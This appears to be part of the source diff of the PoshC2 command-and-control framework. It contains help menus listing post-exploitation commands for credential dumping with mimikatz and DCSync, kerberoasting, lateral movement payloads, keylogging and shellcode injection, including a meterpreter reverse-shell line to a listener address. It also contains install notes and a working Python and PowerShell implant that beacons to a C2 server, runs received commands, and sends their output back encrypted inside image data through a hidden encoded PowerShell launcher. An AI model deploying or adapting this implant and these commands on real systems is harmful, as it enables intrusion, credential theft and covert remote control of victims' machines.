get-netgroup | select samaccountname
|
||||
get-netgroup "*ben*" | select samaccountname
|
||||
get-netgroupmember "domain admins" -recurse|select membername
|
||||
get-netshare hostname
|
||||
invoke-sharefinder -verbose -checkshareaccess
|
||||
new-psdrive -name "p" -psprovider "filesystem" -root "\\\\bloredc1\\netlogon"
|
||||
|
||||
Domain Trusts:
|
||||
==================
|
||||
get-netdomain | get-netdomaincontroller | get-netforestdomain
|
||||
get-netforest | get-netforesttrust
|
||||
invoke-mapdomaintrust
|
||||
get-netuser -domain child.parent.com -filter samaccountname=test
|
||||
get-netgroup -domain child.parent.com | select samaccountname"""
|
||||
|
||||
posh_help5 = """
|
||||
Domain / Network Tasks:
|
||||
==================
|
||||
invoke-bloodhound -collectionmethod 'stealth' -csvfolder c:\\temp\\
|
||||
get-netdomaincontroller | select name | get-netsession | select *username,*cname
|
||||
get-dfsshare | get-netsession | select *username,*cname
|
||||
get-netfileserver | get-netsession | select *username,*cname
|
||||
invoke-kerberoast -outputformat hashcat|select-object -expandproperty hash
|
||||
write-scffile -ipaddress 127.0.0.1 -location \\\\localhost\\c$\\temp\\
|
||||
write-inifile -ipaddress 127.0.0.1 -location \\\\localhost\\c$\\temp\\
|
||||
get-netgroup | select-string -pattern "internet"
|
||||
invoke-hostscan -iprangecidr 172.16.0.0/24 (provides list of hosts with 445 open)
|
||||
get-netfileserver -domain testdomain.com
|
||||
find-interestingfile -path \\\\server\\share -officedocs -lastaccesstime (get-date).adddays(-7)
|
||||
brute-ad
|
||||
brute-locadmin -username administrator
|
||||
get-passpol
|
||||
get-passnotexp
|
||||
get-locadm
|
||||
invoke-inveigh -http y -proxy y -nbns y -tool 1
|
||||
get-inveigh | stop-inveigh (gets output from inveigh thread)
|
||||
invoke-sniffer -outputfile c:\\temp\\output.txt -maxsize 50mb -localip 10.10.10.10
|
||||
invoke-sqlquery -sqlserver 10.0.0.1 -user sa -pass sa -query 'select @@version'
|
||||
invoke-runas -user <user> -password '<pass>' -domain <dom> -command c:\\windows\\system32\\cmd.exe -args " /c calc.exe"
|
||||
invoke-pipekat -target <ip-optional> -domain <dom> -username <user> -password '<pass>' -hash <hash-optional>
|
||||
invoke-wmiexec -target <ip> -domain <dom> -username <user> -password '<pass>' -hash <hash-optional> -command <cmd>"""
|
||||
|
||||
posh_help6 = """
|
||||
Lateral Movement:
|
||||
=========================================================
|
||||
invoke-runaspayload -user <user> -password '<pass>' -domain <dom>
|
||||
invoke-runasproxypayload -user <user> -password '<pass>' -domain <dom>
|
||||
invoke-runasdaisypayload -user <user> -password '<pass>' -domain <dom>
|
||||
invoke-dcompayload -target <ip>
|
||||
invoke-dcomproxypayload -target <ip>
|
||||
invoke-dcomdaisypayload -target <ip>
|
||||
invoke-psexecpayload -target <ip> -domain <dom> -user <user> -pass '<pass>' -hash <hash-optional>
|
||||
invoke-psexecproxypayload -target <ip> -domain <dom> -user <user> -pass '<pass>' -hash <hash-optional>
|
||||
invoke-psexecdaisypayload -target <ip> -domain <dom> -user <user> -pass '<pass>' -hash <hash-optional>
|
||||
invoke-wmipayload -target <ip> -domain <dom> -username <user> -password '<pass>' -hash <hash-optional>
|
||||
invoke-wmiproxypayload -target <ip> -domain <dom> -user <user> -pass '<pass>' -hash <hash-optional>
|
||||
invoke-wmidaisypayload -target <ip> -domain <dom> -user <user> -pass '<pass>'
|
||||
invoke-winrmsession -ipaddress <ip> -user <dom\\user> -pass <pass>"""
|
||||
posh_help7 = """
|
||||
Credentials / Tokens / Local Hashes (Must be SYSTEM):
|
||||
=========================================================
|
||||
invoke-mimikatz | out-string | parse-mimikatz
|
||||
invoke-mimikatz -command '"sekurlsa::logonpasswords"'
|
||||
invoke-mimikatz -command '"lsadump::sam"'
|
||||
invoke-mimikatz -command '"lsadump::lsa"'
|
||||
invoke-mimikatz -command '"lsadump::cache"'
|
||||
invoke-mimikatz -command '"lsadump::secrets"'
|
||||
invoke-mimikatz -command '"ts::multirdp"'
|
||||
invoke-mimikatz -command '"privilege::debug"'
|
||||
invoke-mimikatz -command '"crypto::capi"'
|
||||
invoke-mimikatz -command '"crypto::certificates /export"'
|
||||
invoke-mimikatz -command '"sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash> /run:c:\\temp\\run.bat"'
|
||||
invoke-mimikatz -computer 10.0.0.1 -command '"sekurlsa::pth /user:<user> /domain:<dom> /ntlm:<hash> /run:c:\\temp\\run.bat"'
|
||||
invoke-tokenmanipulation | select-object domain, username, processid, iselevated, tokentype | ft -autosize | out-string
|
||||
invoke-tokenmanipulation -impersonateuser -username "domain\\user"
|
||||
|
||||
Credentials / Domain Controller Hashes:
|
||||
============================================
|
||||
invoke-mimikatz -command '"lsadump::dcsync /domain:domain.local /user:administrator"'
|
||||
invoke-dcsync -pwdumpformat
|
||||
dump-ntds -emptyfolder <emptyfolderpath>"""
|
||||
posh_help8 = """
|
||||
Useful Modules:
|
||||
====================
|
||||
get-screenshot
|
||||
get-screenshotallwindows
|
||||
get-screenshotmulti -timedelay 120 -quantity 30
|
||||
get-recentfiles
|
||||
cred-popper
|
||||
get-clipboard
|
||||
hashdump
|
||||
get-keystrokes
|
||||
arpscan -ipcidr 10.0.0.1/24
|
||||
portscan -ipaddress 10.0.0.1-50 -ports "1-65535" -maxqueriesps 10000 -delay 0
|
||||
((new-object Net.Sockets.TcpClient).connect("10.0.0.1",445))
|
||||
migrate
|
||||
migrate -procid 4444
|
||||
migrate -procpath c:\\windows\\system32\\searchprotocolhost.exe -suspended -RtlCreateUserThread
|
||||
migrate -procpath c:\\windows\\system32\\svchost.exe -suspended
|
||||
inject-shellcode -x86 -shellcode (gc c:\\temp\\shellcode.bin -encoding byte) -procid 5634
|
||||
invoke-shellcode -payload windows/meterpreter/reverse_https -lhost 172.16.0.100 -lport 443 -force
|
||||
get-eventlog -newest 10000 -instanceid 4624 -logname security | select message -expandproperty message | select-string -pattern "user1|user2|user3"
|
||||
send-mailmessage -to "itdept@test.com" -from "user01 <user01@example.com>" -subject <> -smtpserver <> -attachment <>
|
||||
sharpsocks -uri http://www.c2.com:9090 -beacon 2000 -insecure
|
||||
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow program="C:\windows\system32\svchost.exe" protocol=TCP localport=80 profile=Domain
|
||||
$socket = new-object System.Net.Sockets.TcpListener('0.0.0.0', 1080);$socket.start();
|
||||
reversedns 10.0.0.1
|
||||
powercat -c 172.0.0.1 -p 8080 -d
|
||||
|
||||
Implant Handler:
|
||||
=====================
|
||||
searchhelp
|
||||
back
|
||||
quit
|
||||
exit
|
||||
"""
|
||||
|
||||
|
||||
pre_help = """
|
||||
|
||||
Main Menu:
|
||||
================================
|
||||
use implant by <id>, e.g. 1
|
||||
use multiple implants by <id>,<id>,<id>, e.g. 1,2,5
|
||||
use implant by range, e.g. 40-45
|
||||
use all implants by all
|
||||
|
||||
Auto-Runs:
|
||||
=====================
|
||||
add-autorun <task>
|
||||
list-autorun (alias: l)
|
||||
del-autorun <taskid>
|
||||
nuke-autorun
|
||||
automigrate-frompowershell (alias: am)
|
||||
|
||||
Server Commands:
|
||||
=====================
|
||||
tasks
|
||||
opsec
|
||||
cleartasks
|
||||
show-serverinfo
|
||||
history
|
||||
output-to-html
|
||||
set-clockworksmsapikey df2
|
||||
set-clockworksmsnumber 44789
|
||||
set-defaultbeacon 60
|
||||
turnoff-sms
|
||||
listmodules
|
||||
pwnself (alias: p)
|
||||
creds -action <dump/add/del/search> -username <username> -password/-hash
|
||||
createnewpayload
|
||||
createproxypayload
|
||||
createdaisypayload
|
||||
quit
|
||||
"""
|
||||
|
||||
posh_help = posh_help1 + posh_help2 + posh_help3 + posh_help4 + posh_help5 + posh_help6 + posh_help7 + posh_help8
|
||||
|
||||
|
||||
# pre help commands
|
||||
PRECOMMANDS = ['add-autorun' ,'list-autorun','del-autorun', 'nuke-autorun','automigrate-frompowershell',
|
||||
'show-serverinfo','history','output-to-html','set-clockworksmsapikey','set-clockworksmsnumber','set-defaultbeacon',
|
||||
'listmodules','pwnself','creds','createnewpayload','createproxypayload','listmodules',
|
||||
'createdaisypayload','turnoff-sms','tasks','cleartasks',"opsec"]
|
||||
|
||||
# post help commands
|
||||
COMMANDS = ['loadmodule',"bloodhound","brute-ad","brute-locadmin",
|
||||
"bypass-uac","cve-2016-9192","convertto-shellcode","decrypt-rdcman","dump-ntds","get-computerinfo","get-creditcarddata","get-gppautologon",
|
||||
"get-gpppassword","get-idletime","get-keystrokes","get-locadm","get-mshotfixes","get-netstat","get-passnotexp","get-passpol","get-recentfiles",
|
||||
"get-serviceperms","get-userinfo","get-wlanpass","invoke-hostenum","inject-shellcode","inveigh-relay","inveigh","invoke-arpscan","arpscan",
|
||||
"invoke-dcsync","invoke-eventvwrbypass","invoke-hostscan","invoke-ms16-032-proxy","invoke-ms16-032","invoke-mimikatz","invoke-psinject",
|
||||
"invoke-pipekat","invoke-portscan","invoke-powerdump","invoke-psexec","invoke-reflectivepeinjection","invoke-reversednslookup",
|
||||
"invoke-runas","invoke-smbexec","invoke-shellcode","invoke-sniffer","invoke-sqlquery","invoke-tater","invoke-thehash",
|
||||
"invoke-tokenmanipulation","invoke-wmichecker","invoke-wmicommand","invoke-wmiexec","invoke-wscriptbypassuac","invoke-winrmsession",
|
||||
"out-minidump","portscan","invoke-allchecks","set-lhstokenprivilege","sharpsocks","find-allvulns","test-adcredential","new-zipfile",
|
||||
"get-netuser","sleep","beacon","setbeacon","get-screenshot", "install-persistence","hide-implant","unhide-implant","kill-implant","invoke-runasdaisypayload",
|
||||
"invoke-runasproxypayload", "invoke-runaspayload","migrate","$psversiontable","back", "clear","invoke-daisychain","stop-daisy",
|
||||
"ipconfig","upload-file","download-file","download-files","history","get-help","stopsocks","get-screenshotallwindows",
|
||||
"hashdump","cred-popper","help","whoami","createnewpayload","createproxypayload","createdaisypayload",
|
||||
"get-proxy","restart-computer","turtle","posh-delete","get-idletime","get-psdrive",
|
||||
"get-netcomputer","get-netdomain","get-netforest","get-netforesttrust","get-forestdomain",
|
||||
"test-connection","get-netdomaincontroller","invoke-pbind","pbind-command",
|
||||
"invoke-kerberoast","invoke-userhunter","get-process","start-process",
|
||||
"searchhelp","get-netshare","pbind-kill","install-servicelevel-persistencewithproxy",
|
||||
"install-servicelevel-persistence","remove-servicelevel-persistence","reversedns",
|
||||
"invoke-eternalblue","loadmoduleforce","unhook-amsi","get-implantworkingdirectory","get-system",
|
||||
"get-system-withproxy","get-system-withdaisy","get-pid","listmodules","modulesloaded",
|
||||
"startanotherimplant","remove-persistence","removeexe-persistence","installexe-persistence"]
|
||||
|
||||
COMMANDS += ['invoke-psexecpayload','invoke-wmipayload', 'invoke-dcompayload']
|
||||
COMMANDS += ['invoke-psexecproxypayload','invoke-wmiproxypayload', 'invoke-dcomproxypayload']
|
||||
COMMANDS += ['invoke-psexecdaisypayload','invoke-wmidaisypayload', 'invoke-dcomdaisypayload']
|
|
@ -0,0 +1,19 @@
|
|||
# INSTALL PoshC2_Python on Linux
|
||||
=======================================================================
|
||||
curl -sSL https://raw.githubusercontent.com/nettitude/PoshC2_Python/master/Install.sh | bash
|
||||
|
||||
# RUNNING PoshC2_Python
|
||||
cd /opt/PoshC2_Python/
|
||||
vim Config.py # Edit any config details
|
||||
|
||||
In one terminal:
|
||||
screen -S C2Server
|
||||
sudo python /opt/PoshC2_Python/C2Server.py
|
||||
|
||||
In another terminal open Implant Handler:
|
||||
sudo python /opt/PoshC2_Python/ImplantHandler.py
|
||||
|
||||
# Optional for mutli user
|
||||
sudo python /opt/PoshC2_Python/C2Viewer.py
|
||||
|
||||
# RUNNING as SystemCTL Service, see poshc2.service file for more information
|
|
@ -0,0 +1,39 @@
|
|||
# INSTALL SharpSocks under Wine
|
||||
ssh -X <IPADDRESS> # allow x forwarding for wine install
|
||||
|
||||
mkdir ~/SharpSocks
|
||||
cd ~/SharpSocks
|
||||
sudo dpkg --add-architecture i386
|
||||
sudo apt-get update
|
||||
apt-get install wget software-properties-common python-software-properties cabextract -yy
|
||||
wget -nc https://repos.wine-staging.com/wine/Release.key
|
||||
sudo apt-key add Release.key
|
||||
rm Release.key
|
||||
sudo apt-add-repository 'https://dl.winehq.org/wine-builds/ubuntu/'
|
||||
sudo apt-get update
|
||||
sudo apt-get install --install-recommends winehq-stable -yy
|
||||
sudo apt-get install mono-complete mono-reference-assemblies-2.0 mono-reference-assemblies-3.5 mono-reference-assemblies-4.0 proxychains -yy
|
||||
export WINEDEBUG=-all
|
||||
winecfg
|
||||
# Wine will ask you to install a Wine Mono package
|
||||
# Wine will ask you to install a Gecko package
|
||||
# Wine will open config editor, click ok
|
||||
wget -O NDesk.Options.dll "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/NDesk.Options.dll?raw=true"
|
||||
wget -O SharpSocksServer.dll "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/SharpSocksServer.dll?raw=true"
|
||||
wget -O SharpSocksServerTestApp.exe "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/SharpSocksServerTestApp.exe?raw=true"
|
||||
wget -O SharpSocksServerTestApp.exe.config "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/SharpSocksServerTestApp.exe.config?raw=true"
|
||||
wget -O TunnelingSocksServer.dll "https://github.com/nettitude/SharpSocks/blob/master/Binaries/SharpSocksServerTestApp/TunnelingSocksServer.dll?raw=true"
|
||||
|
||||
If there is no folder here: /root/.wine/drive_c/windows/Microsoft.NET/
|
||||
Try this
|
||||
|
||||
wget http://dl.winehq.org/wine/wine-mono/4.7.1/wine-mono-4.7.1.msi
|
||||
wine uninstaller
|
||||
# then point to the msi file and see if the folder is installed.
|
||||
|
||||
# RUNNING SharpSocks under Wine
|
||||
cd ~/SharpSocks
|
||||
WINEDEBUG=-all wine SharpSocksServerTestApp.exe -c TUgugRaZZxvbeSrgCyTEzQvlV -k Gnx4iyV9bVPIO9ugLfZExlAJyG07Gmmu1PcmiFKEzpk= -l http://`hostname -I`
|
||||
|
||||
# IMPLANT SIDE
|
||||
Sharpsocks -Client -Uri http://<IPADDRESS>/ -Channel TUgugRaZZxvbeSrgCyTEzQvlV -Key Gnx4iyV9bVPIO9ugLfZExlAJyG07Gmmu1PcmiFKEzpk= -URLs "GoPro5/black/2018/","Philips/v902/" -Insecure -Beacon 2000
|
|
@ -0,0 +1,21 @@
|
|||
# INSTALL PoshC2_Python on Windows
|
||||
=======================================================================
|
||||
Install Python2.7 Windows https://www.python.org/download/releases/2.7/
|
||||
Add C:\Python27\;C:\Python27\Scripts\ to $PATH Env
|
||||
|
||||
easy_install install pip
|
||||
easy_install -U pip
|
||||
|
||||
# Must install Microsoft Visual C++ 9.0 for pycrypto - https://www.microsoft.com/en-gb/download/details.aspx?id=44266
|
||||
|
||||
pip install pycrypto
|
||||
pip install pyreadline
|
||||
pip install pyopenssl
|
||||
pip install pandas
|
||||
pip install pyttsx3
|
||||
|
||||
espeak install:
|
||||
http://sourceforge.net/projects/espeak/files/espeak/espeak-1.48/setup_espeak-1.48.04.exe
|
||||
|
||||
Install TDM MinGW # might need to optimise the GCC location in payloads.py
|
||||
https://sourceforge.net/projects/tdm-gcc/
|
After Width: | Height: | Size: 1.1 KiB |
After Width: | Height: | Size: 378 B |
After Width: | Height: | Size: 869 B |
After Width: | Height: | Size: 594 B |
After Width: | Height: | Size: 570 B |
After Width: | Height: | Size: 455 B |
After Width: | Height: | Size: 611 B |
After Width: | Height: | Size: 332 B |
After Width: | Height: | Size: 722 B |
After Width: | Height: | Size: 1.2 KiB |
|
@ -0,0 +1,472 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
from DB import *
|
||||
from Colours import *
|
||||
from Core import *
|
||||
from AutoLoads import *
|
||||
from ImplantHandler import *
|
||||
import urllib2
|
||||
|
||||
class Implant(object):
|
||||
|
||||
def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid, proxy):
|
||||
self.RandomURI = randomuri()
|
||||
self.User = user
|
||||
self.Hostname = hostname
|
||||
self.IPAddress = ipaddress
|
||||
self.Key = gen_key()
|
||||
self.FirstSeen = (datetime.datetime.now()).strftime("%m/%d/%Y %H:%M:%S")
|
||||
self.LastSeen = (datetime.datetime.now()).strftime("%m/%d/%Y %H:%M:%S")
|
||||
self.PID = pid
|
||||
self.Proxy = proxy
|
||||
self.Arch = arch
|
||||
self.Domain = domain
|
||||
self.Alive = "Yes"
|
||||
self.UserAgent = get_defaultuseragent()
|
||||
self.Sleep = get_defaultbeacon()
|
||||
self.ModsLoaded = ""
|
||||
self.Pivot = pivot
|
||||
self.KillDate = get_killdate()
|
||||
self.ServerURL = new_serverurl = select_item("HostnameIP", "C2Server")
|
||||
self.AllBeaconURLs = get_otherbeaconurls()
|
||||
self.AllBeaconImages = get_images()
|
||||
self.PythonCore = """import urllib2, os, subprocess, re, datetime, time, base64, string, random
|
||||
|
||||
timer = %s
|
||||
icoimage = [%s]
|
||||
urls = [%s]
|
||||
killdate = "%s"
|
||||
useragent = ""
|
||||
|
||||
def get_encryption( key, iv='0123456789ABCDEF' ):
|
||||
from Crypto.Cipher import AES
|
||||
aes = AES.new( base64.b64decode(key), AES.MODE_CBC, iv )
|
||||
return aes
|
||||
|
||||
def decrypt( key, data ):
|
||||
iv = data[0:16]
|
||||
aes = get_encryption(key, iv)
|
||||
data = aes.decrypt( base64.b64decode(data) )
|
||||
return data[16:]
|
||||
|
||||
def decrypt_bytes_gzip( key, data):
|
||||
iv = data[0:16]
|
||||
aes = get_encryption(key, iv)
|
||||
data = aes.decrypt( data )
|
||||
import StringIO
|
||||
import gzip
|
||||
infile = StringIO.StringIO(data[16:])
|
||||
with gzip.GzipFile(fileobj=infile, mode="r") as f:
|
||||
data = f.read()
|
||||
return data
|
||||
|
||||
def encrypt( key, data, gzip=False ):
|
||||
if gzip:
|
||||
import StringIO
|
||||
import gzip
|
||||
out = StringIO.StringIO()
|
||||
with gzip.GzipFile(fileobj=out, mode="w") as f:
|
||||
f.write(data)
|
||||
data = out.getvalue()
|
||||
mod = len(data) %% 16
|
||||
if mod != 0:
|
||||
newlen = len(data) + (16-mod)
|
||||
data = data.ljust( newlen, '\\0' )
|
||||
aes = get_encryption(key)
|
||||
data = aes.IV + aes.encrypt( data )
|
||||
if not gzip:
|
||||
data = base64.b64encode( data )
|
||||
return data
|
||||
|
||||
while(True):
|
||||
# kill date stuff to add here
|
||||
key = "%s"
|
||||
uri = "%s"
|
||||
serverclean = "%s"
|
||||
server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri)
|
||||
try:
|
||||
time.sleep(timer)
|
||||
o = urllib2.build_opener()
|
||||
o.addheaders = [('User-Agent', '%s')]
|
||||
response = o.open(server)
|
||||
html = response.read()
|
||||
except Exception as e:
|
||||
E = e
|
||||
#print "error %%s" %% e
|
||||
#print html
|
||||
if html:
|
||||
try:
|
||||
returncmd = decrypt( key, html )
|
||||
returncmd = returncmd.rstrip('\\0')
|
||||
if "multicmd" in returncmd:
|
||||
returncmd = returncmd.replace("multicmd","")
|
||||
split = returncmd.split("!d-3dion@LD!-d")
|
||||
for cmd in split:
|
||||
print cmd
|
||||
if "$sleeptime" in cmd:
|
||||
timer = int(cmd.replace("$sleeptime = ",""))
|
||||
else:
|
||||
returnval = subprocess.check_output(cmd, shell=True)
|
||||
print returnval
|
||||
server = "%%s/%%s%%s" %% (serverclean, random.choice(urls), uri)
|
||||
opener = urllib2.build_opener()
|
||||
postcookie = encrypt(key, cmd)
|
||||
data = base64.b64decode(random.choice(icoimage))
|
||||
dataimage = data.ljust( 1500, '\\0' )
|
||||
dataimagebytes = dataimage+(encrypt(key, returnval, gzip=True))
|
||||
opener.addheaders.append(('Cookie', "SessionID=%%s" %% postcookie))
|
||||
urllib2.install_opener(opener)
|
||||
req = urllib2.Request(server, dataimagebytes)
|
||||
response = urllib2.urlopen(req)
|
||||
|
||||
except Exception as e:
|
||||
E = e
|
||||
#print "error %%s" %% e
|
||||
w = \"\"""" % (self.Sleep, self.AllBeaconImages, self.AllBeaconURLs, self.KillDate, self.Key, self.RandomURI, self.ServerURL, self.UserAgent)
|
||||
self.C2Core = """
|
||||
$key="%s"
|
||||
$global:sleeptime = '%s'
|
||||
|
||||
$payloadclear = @"
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {`$true}
|
||||
`$s="$s"
|
||||
`$sc="$sc"
|
||||
function DEC {${function:DEC}}
|
||||
function ENC {${function:ENC}}
|
||||
function CAM {${function:CAM}}
|
||||
function Get-Webclient {${function:Get-Webclient}}
|
||||
function Primer {${function:primer}}
|
||||
`$primer = primer
|
||||
if (`$primer) {`$primer| iex} else {
|
||||
start-sleep 1800
|
||||
primer | iex }
|
||||
"@
|
||||
|
||||
$ScriptBytes = ([Text.Encoding]::ASCII).GetBytes($payloadclear)
|
||||
$CompressedStream = New-Object IO.MemoryStream
|
||||
$DeflateStream = New-Object IO.Compression.DeflateStream ($CompressedStream, [IO.Compression.CompressionMode]::Compress)
|
||||
$DeflateStream.Write($ScriptBytes, 0, $ScriptBytes.Length)
|
||||
$DeflateStream.Dispose()
|
||||
$CompressedScriptBytes = $CompressedStream.ToArray()
|
||||
$CompressedStream.Dispose()
|
||||
$EncodedCompressedScript = [Convert]::ToBase64String($CompressedScriptBytes)
|
||||
$NewScript = "sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String(`"$EncodedCompressedScript`"),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()"
|
||||
$UnicodeEncoder = New-Object System.Text.UnicodeEncoding
|
||||
$EncodedPayloadScript = [Convert]::ToBase64String($UnicodeEncoder.GetBytes($NewScript))
|
||||
$payloadraw = "powershell -exec bypass -Noninteractive -windowstyle hidden -e $($EncodedPayloadScript)"
|
||||
$payload = $payloadraw -replace "`n", ""
|
||||
|
||||
function GetImgData($cmdoutput) {
|
||||
$icoimage = @(%s)
|
||||
|
||||
try {$image = $icoimage|get-random}catch{}
|
||||
|
||||
function randomgen
|
||||
{
|
||||
param (
|
||||
[int]$Length
|
||||
)
|
||||
$set = "...................@..........................Tyscf".ToCharArray()
|
||||
$result = ""
|
||||
for ($x = 0; $x -lt $Length; $x++)
|
||||
{$result += $set | Get-Random}
|
||||
return $result
|
||||
}
|
||||
$imageBytes = [Convert]::FromBase64String($image)
|
||||
$maxbyteslen = 1500
|
||||
$maxdatalen = 1500 + ($cmdoutput.Length)
|
||||
$imagebyteslen = $imageBytes.Length
|
||||
$paddingbyteslen = $maxbyteslen - $imagebyteslen
|
||||
$BytePadding = [System.Text.Encoding]::UTF8.GetBytes((randomgen $paddingbyteslen))
|
||||
$ImageBytesFull = New-Object byte[] $maxdatalen
|
||||
[System.Array]::Copy($imageBytes, 0, $ImageBytesFull, 0, $imageBytes.Length)
|
||||
[System.Array]::Copy($BytePadding, 0, $ImageBytesFull,$imageBytes.Length, $BytePadding.Length)
|
||||
[System.Array]::Copy($cmdoutput, 0, $ImageBytesFull,$imageBytes.Length+$BytePadding.Length, $cmdoutput.Length )
|
||||
$ImageBytesFull
|
||||
}
|
||||
function Create-AesManagedObject($key, $IV) {
|
||||
$aesManaged = New-Object "System.Security.Cryptography.RijndaelManaged"
|
||||
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
|
||||
$aesManaged.BlockSize = 128
|
||||
$aesManaged.KeySize = 256
|
||||
if ($IV) {
|
||||
if ($IV.getType().Name -eq "String") {
|
||||
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
|
||||
}
|
||||
else {
|
||||
$aesManaged.IV = $IV
|
||||
}
|
||||
}
|
||||
if ($key) {
|
||||
if ($key.getType().Name -eq "String") {
|
||||
$aesManaged.Key = [System.Convert]::FromBase64String($key)
|
||||
}
|
||||
else {
|
||||
$aesManaged.Key = $key
|
||||
}
|
||||
}
|
||||
$aesManaged
|
||||
}
|
||||
|
||||
function Encrypt-String($key, $unencryptedString) {
|
||||
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
|
||||
$aesManaged = Create-AesManagedObject $key
|
||||
$encryptor = $aesManaged.CreateEncryptor()
|
||||
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
|
||||
[byte[]] $fullData = $aesManaged.IV + $encryptedData
|
||||
#$aesManaged.Dispose()
|
||||
[System.Convert]::ToBase64String($fullData)
|
||||
}
|
||||
function Encrypt-Bytes($key, $bytes) {
|
||||
[System.IO.MemoryStream] $output = New-Object System.IO.MemoryStream
|
||||
$gzipStream = New-Object System.IO.Compression.GzipStream $output, ([IO.Compression.CompressionMode]::Compress)
|
||||
$gzipStream.Write( $bytes, 0, $bytes.Length )
|
||||
$gzipStream.Close()
|
||||
$bytes = $output.ToArray()
|
||||
$output.Close()
|
||||
$aesManaged = Create-AesManagedObject $key
|
||||
$encryptor = $aesManaged.CreateEncryptor()
|
||||
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
|
||||
[byte[]] $fullData = $aesManaged.IV + $encryptedData
|
||||
$fullData
|
||||
}
|
||||
function Decrypt-String($key, $encryptedStringWithIV) {
|
||||
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
|
||||
$IV = $bytes[0..15]
|
||||
$aesManaged = Create-AesManagedObject $key $IV
|
||||
$decryptor = $aesManaged.CreateDecryptor();
|
||||
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
|
||||
#$aesManaged.Dispose()
|
||||
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
|
||||
}
|
||||
function Encrypt-String2($key, $unencryptedString) {
|
||||
$unencryptedBytes = [system.Text.Encoding]::UTF8.GetBytes($unencryptedString)
|
||||
$CompressedStream = New-Object IO.MemoryStream
|
||||
$DeflateStream = New-Object System.IO.Compression.GzipStream $CompressedStream, ([IO.Compression.CompressionMode]::Compress)
|
||||
$DeflateStream.Write($unencryptedBytes, 0, $unencryptedBytes.Length)
|
||||
$DeflateStream.Dispose()
|
||||
$bytes = $CompressedStream.ToArray()
|
||||
$CompressedStream.Dispose()
|
||||
$aesManaged = Create-AesManagedObject $key
|
||||
$encryptor = $aesManaged.CreateEncryptor()
|
||||
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length)
|
||||
[byte[]] $fullData = $aesManaged.IV + $encryptedData
|
||||
$fullData
|
||||
}
|
||||
function Decrypt-String2($key, $encryptedStringWithIV) {
|
||||
$bytes = $encryptedStringWithIV
|
||||
$IV = $bytes[0..15]
|
||||
$aesManaged = Create-AesManagedObject $key $IV
|
||||
$decryptor = $aesManaged.CreateDecryptor()
|
||||
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16)
|
||||
$output = (New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$unencryptedData)), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd()
|
||||
$output
|
||||
#[System.Text.Encoding]::UTF8.GetString($output).Trim([char]0)
|
||||
}
|
||||
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
|
||||
|
||||
$URI= "%s"
|
||||
$Server = "$s/%s"
|
||||
$ServerClean = "$sc"
|
||||
while($true)
|
||||
{
|
||||
$ServerURLS = "$($ServerClean)","$($ServerClean)"
|
||||
$date = (Get-Date -Format "dd/MM/yyyy")
|
||||
$date = [datetime]::ParseExact($date,"dd/MM/yyyy",$null)
|
||||
$killdate = [datetime]::ParseExact("%s","dd/MM/yyyy",$null)
|
||||
if ($killdate -lt $date) {exit}
|
||||
$sleeptimeran = $sleeptime, ($sleeptime * 1.1), ($sleeptime * 0.9)
|
||||
$newsleep = $sleeptimeran|get-random
|
||||
if ($newsleep -lt 1) {$newsleep = 5}
|
||||
start-sleep $newsleep
|
||||
$URLS = %s
|
||||
$RandomURI = Get-Random $URLS
|
||||
$ServerClean = Get-Random $ServerURLS
|
||||
$G=[guid]::NewGuid()
|
||||
$Server = "$ServerClean/$RandomURI$G/?$URI"
|
||||
try { $ReadCommand = (Get-Webclient).DownloadString("$Server") } catch {}
|
||||
|
||||
while($ReadCommand) {
|
||||
$RandomURI = Get-Random $URLS
|
||||
$ServerClean = Get-Random $ServerURLS
|
||||
$G=[guid]::NewGuid()
|
||||
$Server = "$ServerClean/$RandomURI$G/?$URI"
|
||||
try { $ReadCommandClear = Decrypt-String $key $ReadCommand } catch {}
|
||||
$error.clear()
|
||||
if (($ReadCommandClear) -and ($ReadCommandClear -ne "fvdsghfdsyyh")) {
|
||||
if ($ReadCommandClear.ToLower().StartsWith("multicmd")) {
|
||||
$splitcmd = $ReadCommandClear -replace "multicmd",""
|
||||
$split = $splitcmd -split "!d-3dion@LD!-d"
|
||||
foreach ($i in $split){
|
||||
$RandomURI = Get-Random $URLS
|
||||
$ServerClean = Get-Random $ServerURLS
|
||||
$G=[guid]::NewGuid()
|
||||
$Server = "$ServerClean/$RandomURI$G/?$URI"
|
||||
$error.clear()
|
||||
if ($i.ToLower().StartsWith("upload-file")) {
|
||||
try {
|
||||
$Output = Invoke-Expression $i | out-string
|
||||
$Output = $Output + "123456PS " + (Get-Location).Path + ">654321"
|
||||
if ($ReadCommandClear -match ("(.+)Base64")) { $result = $Matches[0] }
|
||||
$ModuleLoaded = Encrypt-String $key $result
|
||||
$Output = Encrypt-String2 $key $Output
|
||||
$UploadBytes = getimgdata $Output
|
||||
